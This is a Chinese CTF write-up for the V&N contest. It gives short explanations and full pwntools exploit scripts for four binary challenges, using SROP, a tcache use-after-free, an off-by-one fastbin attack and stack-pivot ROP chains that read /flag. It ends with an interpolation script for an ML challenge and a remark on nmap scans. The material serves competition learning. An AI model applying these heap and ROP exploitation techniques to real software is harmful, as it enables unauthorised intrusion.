V&N 考核赛 WriteUP

0x0 前言

以下会记录我做出的题的WriteUP呐~

0x1 babybabypwn

程序中主动调用了syscall(15LL, &buf);,当系统调用号为15时,程序会调用_rt_sigreturn并将我们的输入作为frame传入。然后我们可以伪造frame,利用SROP执行read,在libc + 0x3C6500rw-段布置ROP chain,并返回到其位置执行ORW攻击,程序开启了Sandbox不能执行execve

Final Exploit

from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

vn_pwn_babybabypwn=ELF('./vn_pwn_babybabypwn', checksec = False)

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./vn_pwn_babybabypwn")

def get_address(sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False):
    sh.recvuntil(start_string)
    if int_mode :
        return_address=int(sh.recvuntil(end_string).strip(end_string),16)
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'\x00'))
    log.success(info+str(hex(return_address+offset)))
    return return_address+offset

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,stop=False):
    gdb.attach(sh)
    if stop :
        raw_input()

if __name__ == "__main__":
    sh = get_sh()
    # get_gdb(sh)
    libc.address = get_address(sh,'The libc base address is ','Here is my gift: 0x','\n',-libc.symbols['puts'],True)
    sh.recvuntil('Please input magic message: ')
    fake_frame  = p64(0) * 12
    fake_frame += p64(0)                                       # RDI = RAX
    fake_frame += p64(0)                                       # RSI = RDI
    fake_frame += p64(0)                                       # RBP
    fake_frame += p64(0)                                       # RBX
    fake_frame += p64(libc.address + 0x3C6500 - 0x10)          # RDX = RSI
    fake_frame += p64(0)                                       # RAX
    fake_frame += p64(0x100)                                   # RCX = RDX
    fake_frame += p64(libc.address + 0x3C6500)                 # RSP
    fake_frame += p64(libc.symbols['syscall'])                 # RIP
    fake_frame += p64(0)                                       # eflags
    fake_frame += p64(0x33)                                    # cs : gs : fs
    fake_frame += p64(0) * 7
    # get_gdb(sh)
    sh.send(fake_frame)
    ROP_chain  = '/flag\x00\x00\x00'
    ROP_chain += p64(0)
    ROP_chain += p64(libc.address + 0x0000000000021102)
    ROP_chain += p64(libc.address + 0x3C6500 - 0x10)
    ROP_chain += p64(libc.address + 0x00000000000202e8)
    ROP_chain += p64(0)
    ROP_chain += p64(libc.symbols['open'])
    ROP_chain += p64(libc.address + 0x0000000000021102)
    ROP_chain += p64(3)
    ROP_chain += p64(libc.address + 0x00000000000202e8)
    ROP_chain += p64(libc.address + 0x3C6700)
    ROP_chain += p64(libc.address + 0x0000000000001b92)
    ROP_chain += p64(0x100)
    ROP_chain += p64(libc.symbols['read'])
    ROP_chain += p64(libc.address + 0x0000000000021102)
    ROP_chain += p64(1)
    ROP_chain += p64(libc.address + 0x00000000000202e8)
    ROP_chain += p64(libc.address + 0x3C6700)
    ROP_chain += p64(libc.address + 0x0000000000001b92)
    ROP_chain += p64(0x100)
    ROP_chain += p64(libc.symbols['write'])
    raw_input('>')
    sh.send(ROP_chain)
    sh.interactive()
    flag=get_flag(sh)
    log.success('The flag is '+flag)

0x2 easyTHeap

程序中限制了mallocfree的次数,存在明显的Use-After-Free漏洞,但是我们可以首先利用Tcache dup泄露Heap address,然后劫持Tcache structure,向任意地址读写,由于free的次数的限制,此处我们向malloc_hookone_gadget完成利用,但是此处所有的one_gadget条件均不满足,因此需要利用realloc函数调整栈帧才能利用。

Final Exploit

from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

vn_pwn_easyTHeap=ELF('./vn_pwn_easyTHeap', checksec = False)

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./vn_pwn_easyTHeap")

def get_address(sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False):
    sh.recvuntil(start_string)
    if int_mode :
        return_address=int(sh.recvuntil(end_string).strip(end_string),16)
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'\x00'))
    log.success(info+str(hex(return_address+offset)))
    return return_address+offset

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,stop=False):
    gdb.attach(sh)
    if stop :
        raw_input()

def creat(sh,chunk_size):
    sh.recvuntil('choice: ')
    sh.send('1')
    sh.recvuntil('size?')
    sh.send(str(chunk_size))

def edit(sh,index,value):
    sh.recvuntil('choice: ')
    sh.send('2')
    sh.recvuntil('idx?')
    sh.send(str(index))
    sh.recvuntil('content:')
    sh.send(value)

def show(sh,index):
    sh.recvuntil('choice: ')
    sh.send('3')
    sh.recvuntil('idx')
    sh.send(str(index))

def delete(sh,index):
    sh.recvuntil('choice: ')
    sh.send('4')
    sh.recvuntil('idx')
    sh.send(str(index))

if __name__ == "__main__":
    sh = get_sh()
    creat(sh,0x80) #0
    creat(sh,0x80) #1
    delete(sh,0)
    delete(sh,0)
    show(sh,0)
    heap_addr = get_address(sh,'The Heap address is ','?','\n',0)

    creat(sh,0x80) #2
    edit(sh,2,p64(heap_addr - 0x250))

    creat(sh,0x80) #3
    creat(sh,0x80) #4
    edit(sh,4,p64(0x0707070707070707).ljust(0x78,'\x00')+p64(heap_addr - 0x250 + 0x78))

    delete(sh,0)
    show(sh,0)
    libc.address = get_address(sh,'The libc base address is ','?','\n',-0x3EBCA0)

    edit(sh,4,p64(0x0707070707070707).ljust(0x78,'\x00')+p64(libc.symbols['__malloc_hook'] - 0x8))

    creat(sh,0x80) #5
    edit(sh,5,p64(libc.address + 0x10a38c) + p64(libc.symbols['__libc_realloc'] + 0x4))

    # get_gdb(sh,True)
    creat(sh,0x80) #6

    sh.interactive()
    flag=get_flag(sh)
    log.success('The flag is '+flag)

0x3 simpleHeap

程序中很明显存在Off-By-One漏洞,我们可以利用其构造Chunk_Overflow然后就可以通过修改size域的方式强制将其放入unsorted bin进而泄露libc基址,同样利用Chunk_Overflow启动Fastbin Attack就可以向malloc_hookone_gadget完成利用,但是此处所有的one_gadget条件均不满足,因此需要利用realloc函数调整栈帧才能利用。

Final Exploit

from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

vn_pwn_simpleHeap=ELF('./vn_pwn_simpleHeap', checksec = False)

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./vn_pwn_simpleHeap")

def get_address(sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False):
    sh.recvuntil(start_string)
    if int_mode :
        return_address=int(sh.recvuntil(end_string).strip(end_string),16)
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'\x00'))
    log.success(info+str(hex(return_address+offset)))
    return return_address+offset

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,stop=False):
    gdb.attach(sh)
    if stop :
        raw_input()

def creat(sh,chunk_size,value):
    sh.recvuntil('choice: ')
    sh.send('1')
    sh.recvuntil('size?')
    sh.send(str(chunk_size))
    sh.recvuntil('content:')
    sh.send(value)

def edit(sh,index,value):
    sh.recvuntil('choice: ')
    sh.send('2')
    sh.recvuntil('idx?')
    sh.send(str(index))
    sh.recvuntil('content:')
    sh.send(value)

def show(sh,index):
    sh.recvuntil('choice: ')
    sh.send('3')
    sh.recvuntil('idx')
    sh.send(str(index))

def delete(sh,index):
    sh.recvuntil('choice: ')
    sh.send('4')
    sh.recvuntil('idx')
    sh.send(str(index))

if __name__ == "__main__":
    sh = get_sh()
    creat(sh,0x18,'Chunk0')
    creat(sh,0x18,'Chunk1')
    creat(sh,0x18,'Chunk2')
    creat(sh,0x60,(p64(0) + p64(0x71)) * 6)
    creat(sh,0x60,(p64(0) + p64(0x71)) * 6)
    edit(sh,0,'A' * 0x18 + '\x40')
    delete(sh,1)
    creat(sh,0x30,'Chunk1')
    edit(sh,1,p64(0) * 3 + p64(0x91) + '\x0A')
    delete(sh,2)
    delete(sh,1)
    creat(sh,0x30,'A' * 0x18 + 'Libc--->')
    show(sh,1)
    libc.address = get_address(sh,'We get libc address is ','Libc--->','\x0A',-0x3C4B78)
    edit(sh,1,p64(0) * 3 + p64(0x91) + '\x0A')
    creat(sh,0x60,'Chunk5')
    delete(sh,2)
    edit(sh,1,p64(0) * 3 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 0x23) + '\x0A')
    creat(sh,0x60,'Chunk6')
    creat(sh,0x60,'\x00' * 0xB + p64(libc.address + 0x4526a) + p64(libc.symbols['__libc_realloc'] +0xD))
    # get_gdb(sh,True)
    sh.recvuntil('choice: ')
    sh.send('1')
    sh.recvuntil('size?')
    sh.send(str(0x60))
    # get_gdb(sh,True)
    sh.interactive()
    flag=get_flag(sh)
    log.success('The flag is '+flag)

0x4 warmup

本题起始就泄露了libc基址,那么我们可以利用libc中的所有gadget,栈溢出只有0x10个字节,但是当我们连续ret两次时,程序会跳回我们的可控区域,于是可以事先布置ROP chain,并在之后返回到其位置执行ORW攻击,程序开启了Sandbox不能执行execve

Final Exploit

from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

vn_pwn_warmup=ELF('./vn_pwn_warmup', checksec = False)

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./vn_pwn_warmup")

def get_address(sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False):
    sh.recvuntil(start_string)
    if int_mode :
        return_address=int(sh.recvuntil(end_string).strip(end_string),16)
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'\x00'))
    log.success(info+str(hex(return_address+offset)))
    return return_address+offset

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,stop=False):
    gdb.attach(sh)
    if stop :
        raw_input()

if __name__ == "__main__":
    sh = get_sh()
    libc.address = get_address(sh,'The libc base address is ','Here is my gift: 0x','\n',-libc.symbols['puts'],True)
    ROP_chain  = p64(libc.address + 0x0000000000021102)
    ROP_chain += p64(0)
    ROP_chain += p64(libc.address + 0x00000000000202e8)
    ROP_chain += p64(libc.address + 0x3C6500)
    ROP_chain += p64(libc.address + 0x0000000000001b92)
    ROP_chain += p64(0x100)
    ROP_chain += p64(libc.symbols['read'])
    ROP_chain += p64(libc.address + 0x0000000000021102)
    ROP_chain += p64(libc.address + 0x3C6500)
    ROP_chain += p64(libc.address + 0x00000000000202e8)
    ROP_chain += p64(0)
    ROP_chain += p64(libc.symbols['open'])
    ROP_chain += p64(libc.address + 0x0000000000021102)
    ROP_chain += p64(3)
    ROP_chain += p64(libc.address + 0x00000000000202e8)
    ROP_chain += p64(libc.address + 0x3C6700)
    ROP_chain += p64(libc.address + 0x0000000000001b92)
    ROP_chain += p64(0x100)
    ROP_chain += p64(libc.symbols['read'])
    ROP_chain += p64(libc.address + 0x0000000000021102)
    ROP_chain += p64(1)
    ROP_chain += p64(libc.address + 0x00000000000202e8)
    ROP_chain += p64(libc.address + 0x3C6700)
    ROP_chain += p64(libc.address + 0x0000000000001b92)
    ROP_chain += p64(0x100)
    ROP_chain += p64(libc.symbols['write'])
    # ROP_chain = 'A' * 0x180
    sh.recvuntil('Input something: ')
    sh.send(ROP_chain)
    sh.recvuntil('What\'s your name?')
    # get_gdb(sh)
    sh.send('A' * 0x70 + p64(0xdeadbeef) + p64(libc.address + 0x0000000000000937))
    sh.sendline('/flag\x00\x00')
    sh.interactive()
    flag=get_flag(sh)
    log.success('The flag is '+flag)

0x5 ML 第一步

直接线性拟合曲线求点就可以了

Final Exploit

import numpy as np
from scipy import interpolate as intp
from pwn import *
import matplotlib.pyplot as plt

context.log_level = 'debug'

x_list = []
y_list = []

sh = remote('vn.node3.buuoj.cn',50527)
sh.recvuntil('hello,whats your name?')
sh.sendline('ERROR404')
sh.recvuntil('[ENTER]')
sh.sendline('')
for i in range(70):
    sh.recvuntil('x=')
    x_list.append(float(sh.recvuntil(',').strip(',')))
    sh.recvuntil('y=')
    y_list.append(float(sh.recvuntil(';').strip(';')))

x = tuple(x_list)
y = tuple(y_list)

f1 = intp.interp1d(x, y, kind = 'slinear')

sh.recvuntil('[ENTER]')
sh.sendline('')
for i in range(10):
    sh.recvuntil('When x=')
    question_x = float(sh.recvuntil(',').strip(','))
    sh.recvuntil('y=?')
    sh.sendline(str(f1(question_x)))
sh.interactive()

0x6 拉胯的三条命令

对于nmap的端口扫描包,若端口开放,会进行三次握手行为,于是可判断开启的端口是21 22 631 801 3306

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注